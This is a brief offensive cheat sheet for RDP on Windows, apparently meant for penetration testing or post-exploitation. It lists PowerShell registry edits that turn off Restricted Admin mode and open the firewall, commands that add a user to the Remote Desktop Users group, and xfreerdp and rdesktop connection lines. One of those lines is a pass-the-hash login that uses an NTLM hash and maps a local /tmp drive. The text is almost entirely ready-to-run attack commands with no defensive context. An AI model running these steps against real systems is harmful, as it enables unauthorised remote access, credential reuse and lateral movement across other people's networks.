Enabling restricted admin (to use RDP):
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value 0 -PropertyType DWORD

Firewall for RDP:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Add yourself to be able to remote (both works):
net localgroup "Remote Desktop Users" "UserName" /add
OR
powershell.exe Add-LocalGroupMember -Group "Remote Desktop Users" -Member "UserName"

xfreerdp:
xfreerdp /cert:ignore /v:server /port:port /u:user@domain /p:password /size:1720x880 /drive:kalitemp,/tmp/ +clipboard

rdesktop (domain connection use this):
rdesktop -u user@domain -p password -g 90% IP

Pass the hash, no need to add LM hash! (add /sec:tls if this does not work):
xfreerdp /cert:ignore /v:server /port:port /u:user@domain /pth:4c027eb32130982d1b960575d66f31d9/drive:kalitemp,/tmp/ +clipboard

If cannot connect, try adding append this to the end of command:
/tls-seclevel:0
